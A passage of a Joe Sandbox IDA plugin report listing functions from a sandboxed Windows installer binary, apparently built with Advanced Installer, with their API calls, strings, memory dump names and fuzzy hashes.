Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CreateErrorEventLast
String ID: AppEvents\Schemes\Apps\Explorer\Navigating\.Current$Caphyon.AI.ExtUI.IEClickSoundRemover
API String ID: 545576003-2079760225
Opcode ID: 58d8cd859379315354681c11fa2ee876be9aadfef9784e22e2c2367d9e4180e7
Instruction ID: 161797a6d24b8f8e68a11dc965e151fe109571f5b424a18914f8357d9b8fb470
Opcode Fuzzy Hash: 58d8cd859379315354681c11fa2ee876be9aadfef9784e22e2c2367d9e4180e7
Instruction Fuzzy Hash: A4617B70D05349EEDB11CF68C955BDEFBF4AF24704F10829DE459A7281DBB4AA08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 002B8580 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,DF534560,00000001,7508EB20,00000000), ref: 002B85CF
ReadFile.KERNEL32(00000000,?,000003FF,?,00000000,?,80000000,00000003,00000000,00000003,00000080,00000000,DF534560,00000001,7508EB20,00000000), ref: 002B8605
CloseHandle.KERNEL32(00000000,?,80000000,00000003,00000000,00000003,00000080,00000000,DF534560,00000001,7508EB20,00000000), ref: 002B86CC

Strings

t=, xrefs: 002B86C0

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID: t=
API String ID: 1035965006-4144653439
Opcode ID: b7180198aba6132d7abdf6d3bb2dad51a3398421d4c22c9f8377967377b861e3
Instruction ID: 4c544997689f81f046c86c1f8f5a5bc9180dfa4043bb3de1c195f4a9de87ee0a
Opcode Fuzzy Hash: b7180198aba6132d7abdf6d3bb2dad51a3398421d4c22c9f8377967377b861e3
Instruction Fuzzy Hash: 7F41AD71A00205DFDB21DF68C885BAEB7BCFF45324F148259E619EB2D1DB74A900CB54

Uniqueness

Uniqueness Score: -1.00%

Function 002C0B50 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 002B9490: LoadLibraryW.KERNEL32(ComCtl32.dll,DF534560,00000000,?,00000000), ref: 002B94CE
Part of subcall function 002B9490: GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 002B94F1
Part of subcall function 002B9490: FreeLibrary.KERNEL32(00000000), ref: 002B956F

MulDiv.KERNEL32(00000009,00000000), ref: 002C0BBA

Strings

h]4, xrefs: 002C0BAA
a4, xrefs: 002C0BB1
Courier New, xrefs: 002C0BC0

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Courier New$h]4$a4
API String ID: 145871493-3583010180
Opcode ID: 180fca24ba728ce6a0bcddca8d1c4a04078a57ba949d219ff14457bb1e964b95
Instruction ID: c448fc87b9173ebd44963bfac62597c1883aca9cc8355c4c1cc0d38cf0676a35
Opcode Fuzzy Hash: 180fca24ba728ce6a0bcddca8d1c4a04078a57ba949d219ff14457bb1e964b95
Instruction Fuzzy Hash: 9A41A871B84308BFEB149F248C46FAE77A9AF59B05F01062DFB097A1C1DAB1AC50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00219700 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0116A220,DF534560,0116A220), ref: 00219741
GetCurrentThreadId.KERNEL32 ref: 00219751
LeaveCriticalSection.KERNEL32(?), ref: 00219777

Strings

v, xrefs: 00219777

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: f55f1612b7e2f9687bb5f7dc649eed1be58f6794adc9089239c712246381c418
Instruction ID: 76d153373c80e2d0ed6a0192840cbfabdb60e219a252d4eb9e536fa4ac424dad
Opcode Fuzzy Hash: f55f1612b7e2f9687bb5f7dc649eed1be58f6794adc9089239c712246381c418
Instruction Fuzzy Hash: 7741DFB1920212AFDB10CF58DD44AAAF7A8FF15710F104329E925D7291E732EDA5CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6A570FEB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6A571010
CatchIt.LIBVCRUNTIME ref: 6A5710F6

Strings

MOC, xrefs: 6A571022
RCC, xrefs: 6A57102A

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 6267d74c8eb6995bd554614d6fc93b5d10c020b8632c76f637c6cc81656c7b78
Instruction ID: eb96029f92fa9a5e05a4f74f817554e99e05d39287ed424afa3da324587e1d97
Opcode Fuzzy Hash: 6267d74c8eb6995bd554614d6fc93b5d10c020b8632c76f637c6cc81656c7b78
Instruction Fuzzy Hash: 5F417872900209AFCF12CF94CD95AEEBBB5BF48304F168059FA14BB261EB35D950DB60

Uniqueness

Uniqueness Score: -1.00%

Function 002BDB60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(000013FF,00000000,?,00000000,00000000,00000000,00000000,DF534560,003EDCFC), ref: 002BDBB8
LocalFree.KERNEL32(00000000,00000000,-00000002), ref: 002BDCC2

Part of subcall function 002AE8A0: std::locale::_Init.LIBCPMT ref: 002AE97D

Part of subcall function 002AC060: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 002AC135

Strings

Failed to get Windows error message [win32 error 0x, xrefs: 002BDBD6
8>, xrefs: 002BDC16

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: FormatFreeInitIos_base_dtorLocalMessagestd::ios_base::_std::locale::_
String ID: 8>$Failed to get Windows error message [win32 error 0x
API String ID: 1983821583-1099289318
Opcode ID: be5cbee1f1229732826a2fa6c8ae03f408ac2835ebcee6ad681678562ccfe1bc
Instruction ID: a28be322755479c0a57c1f9827e805b70839208777f162d18c765d5d36c4c2df
Opcode Fuzzy Hash: be5cbee1f1229732826a2fa6c8ae03f408ac2835ebcee6ad681678562ccfe1bc
Instruction Fuzzy Hash: 1A418D71A103099BDB10DF68C909BEEBBF8FF44704F104569E455AB290D7B8AA08CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A549A30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

CoCreateGuid.OLE32(?,AA831995,?), ref: 6A549A87
GetTickCount.KERNEL32 ref: 6A549B32

Strings

pb[j, xrefs: 6A549A40
{%0.8X-%0.4X-%0.4X-%0.2X%0.2X-%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X}, xrefs: 6A549AD2

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CountCreateGuidTick
String ID: pb[j${%0.8X-%0.4X-%0.4X-%0.2X%0.2X-%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X}
API String ID: 1175376463-4043172969
Opcode ID: bdf86ce1d1858136f4d1621b2403bc12168f7470b432f55028188b3d47ff842f
Instruction ID: 0c4fab55ae123e4644a256776926e6d5e2ee344bc7eb11f333ef4a3e48650ce2
Opcode Fuzzy Hash: bdf86ce1d1858136f4d1621b2403bc12168f7470b432f55028188b3d47ff842f
Instruction Fuzzy Hash: 7F4141B19047599ECB20CFA5CC14BAEBBF8FF49714F10451AF555EB281D778A504CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001C7360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001C7396
EnterCriticalSection.KERNEL32(0045B428), ref: 001C73B6
LeaveCriticalSection.KERNEL32(0045B428), ref: 001C73DA

Strings

v, xrefs: 001C73DA

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: b1b3e32d0fe1f2d4c7bafb1d7ede1ae3f1ff97a8a4ea45085a8eb47c756850b6
Instruction ID: b1f574e5362ff01381e2c987c05ddd35410ba6849d63371f368112b48f03a955
Opcode Fuzzy Hash: b1b3e32d0fe1f2d4c7bafb1d7ede1ae3f1ff97a8a4ea45085a8eb47c756850b6
Instruction Fuzzy Hash: E221BF71A04748EFD721CF58D900B9EBBE8FB05B15F10866EEC25D7781D7B9A5048B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A5650D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32(?,00000000,?,\\?\,?,6A5658A8), ref: 6A56516D
RemoveDirectoryW.KERNEL32(?,AA831995,00000000,?,?,00000000,6A59C39D,000000FF,?,6A5658A8), ref: 6A56519C
GetLastError.KERNEL32(?,6A5658A8), ref: 6A5651AC

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

Part of subcall function 6A549220: FindResourceW.KERNEL32(00000000,?,00000006,?,?,?,6A5659A5,-00000010), ref: 6A549258

Strings

\\?\, xrefs: 6A565137, 6A565147

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: DirectoryRemove$ErrorFindHeapLastProcessResource
String ID: \\?\
API String ID: 3015187585-4282027825
Opcode ID: 5862b62bfeedc1df3e81c66e8252354a5fb3f2104e72fe389fcb5c652d12d74c
Instruction ID: 1f36efd989358faec1b1c58501e84c8197c6cd4d10a50ec053d46f92d528719f
Opcode Fuzzy Hash: 5862b62bfeedc1df3e81c66e8252354a5fb3f2104e72fe389fcb5c652d12d74c
Instruction Fuzzy Hash: 4F216B72A80645AFDB05DFA8C808B9DB7B4FF05324F114A59EAA2D72A1DF359D04CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001BEB40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoOriginateLanguageException,?,?,?,?,?,?,?,?,?,?,?,?,003BB955,000000FF), ref: 001BEB82
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 001BEB88

Strings

combase.dll, xrefs: 001BEB7D
RoOriginateLanguageException, xrefs: 001BEB78

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoOriginateLanguageException$combase.dll
API String ID: 2574300362-3996158991
Opcode ID: 41a355ca2361cf38e861cf4397057cb9cdab746faacb0f8c848329c71cbedd68
Instruction ID: 276b494ca903936dd536ab24b07a7cf2dfe3c302783e81aebf1e186f634e8760
Opcode Fuzzy Hash: 41a355ca2361cf38e861cf4397057cb9cdab746faacb0f8c848329c71cbedd68
Instruction Fuzzy Hash: D7318F31900209DFDB21DFA8C945BEEBBF4FB14314F10862AE825A72C1D778AA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001B9E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 001B9E75
__Init_thread_footer.LIBCMT ref: 001B9EA7

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

__Init_thread_footer.LIBCMT ref: 001B9F32

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

Strings

|u=, xrefs: 001B9F17, 001B9F3A

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$ConditionHeapProcessVariableWake
String ID: |u=
API String ID: 3269001908-2827651460
Opcode ID: 9f3cc5f2468fb667dc9491b40532f8d5d84ebc76fc9284193967b322708f499e
Instruction ID: 90f3f79deb77f109b84420a5599339f858586bd0d2a30d502e3efea6419dc62a
Opcode Fuzzy Hash: 9f3cc5f2468fb667dc9491b40532f8d5d84ebc76fc9284193967b322708f499e
Instruction Fuzzy Hash: D72180B1904300EBC711CF68EE45B897BE0E705726F10432AE5629B692D3B8AC24DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 002E8690 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,002E683A,?,DF534560,?,?,?,000000FF,?,002E61F4), ref: 002E869D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,002E683A,?,DF534560,?,?,?,000000FF,?,002E61F4,?), ref: 002E86BE
GetLastError.KERNEL32(?,DF534560,?,?,?,000000FF,?,002E61F4,?,?,00000000,00000000,DF534560,?,?), ref: 002E871E

Strings

AdvancedInstaller, xrefs: 002E8706

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CreateEvent$ErrorLast
String ID: AdvancedInstaller
API String ID: 1131763895-1372594473
Opcode ID: 87c38d3cd25b3d4299a628884d65f2aba3400ecdff7f421de3f18207b46c999e
Instruction ID: 8618cfcecf7e41e69710a13ad4d74581753632275daf37420c71bda0c311b2bf
Opcode Fuzzy Hash: 87c38d3cd25b3d4299a628884d65f2aba3400ecdff7f421de3f18207b46c999e
Instruction Fuzzy Hash: 66112B71790642FBE721DF22CD89F56BBA8FB44705F604428F6099B690DBB1F821CB94

Uniqueness

Uniqueness Score: -1.00%

Function 001C70D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0045B428), ref: 001C710C
GetCurrentThreadId.KERNEL32 ref: 001C7120
LeaveCriticalSection.KERNEL32(0045B428), ref: 001C715F

Strings

v, xrefs: 001C715F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: v
API String ID: 2351996187-3261393531
Opcode ID: 6a68b6539ecd9214bdde456146327de968901c497deef634155fa5a68a12ffc9
Instruction ID: a4b6ae8d236490d2d731e1805807ad06c789ed6835bc0310fc5d383b0468ed82
Opcode Fuzzy Hash: 6a68b6539ecd9214bdde456146327de968901c497deef634155fa5a68a12ffc9
Instruction Fuzzy Hash: 1311E231A08755DBCB25CF58D804B6EFBE4FB55B15F18826ED825A3381C7B4A8008BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00346D11 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00346D1D

Part of subcall function 0034B0DB: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,-00000010,?,00000008,DF534560), ref: 0034B13B

std::regex_error::regex_error.LIBCPMT ref: 00346D3D
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00346D5D

Strings

bad function call, xrefs: 00346D71

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument$ExceptionRaisestd::regex_error::regex_error
String ID: bad function call
API String ID: 182364050-3612616537
Opcode ID: 3c96efb4945b736d27663d8b9b9fc6900aa4f18773f74e67df8bfc6a0375797f
Instruction ID: efaf9cf8efb9acc5783da637149f14f868929dbb4339589aaec28d1f5dbfc8aa
Opcode Fuzzy Hash: 3c96efb4945b736d27663d8b9b9fc6900aa4f18773f74e67df8bfc6a0375797f
Instruction Fuzzy Hash: 4CF05E78C0020C77CF05FBE5CC47DDEB7BCAE04340F904425BA20AA192EBB4BA19C696

Uniqueness

Uniqueness Score: -1.00%

Function 6A56CFE3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(6A5D6A2C,00000000,?,6A56CF80,00000064,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56D010
WaitForSingleObjectEx.KERNEL32(00000000,00000000,?,6A56CF80,00000064,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56D021
EnterCriticalSection.KERNEL32(6A5D6A2C,?,6A56CF80,00000064,?,6A547EBD,6A5D7224,AA831995,?,00000000,6A58C51D,000000FF,?,6A5659D2), ref: 6A56D028

Strings

,j]j, xrefs: 6A56D00A

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeaveObjectSingleWait
String ID: ,j]j
API String ID: 501323975-747776563
Opcode ID: 6c8c93b1855324e3b533162090fcc08c66d32e2cd5c0edd89de6e4a14c57909f
Instruction ID: dc73d124526a3c6aa417bb28ef0d985c4ae072d248ed272e469e0539f0b56553
Opcode Fuzzy Hash: 6c8c93b1855324e3b533162090fcc08c66d32e2cd5c0edd89de6e4a14c57909f
Instruction Fuzzy Hash: B9E06536661624F7CF11FB54CC0498D3EA9FB0E661B129002F645D9520CF315C5297D5

Uniqueness

Uniqueness Score: -1.00%

Function 003498CA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(00459EA0,?,?,00349867,00000064,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560), ref: 003498F7
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00349867,00000064,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560), ref: 00349908
EnterCriticalSection.KERNEL32(00459EA0,?,00349867,00000064,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010), ref: 0034990F

Strings

v, xrefs: 003498F7

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

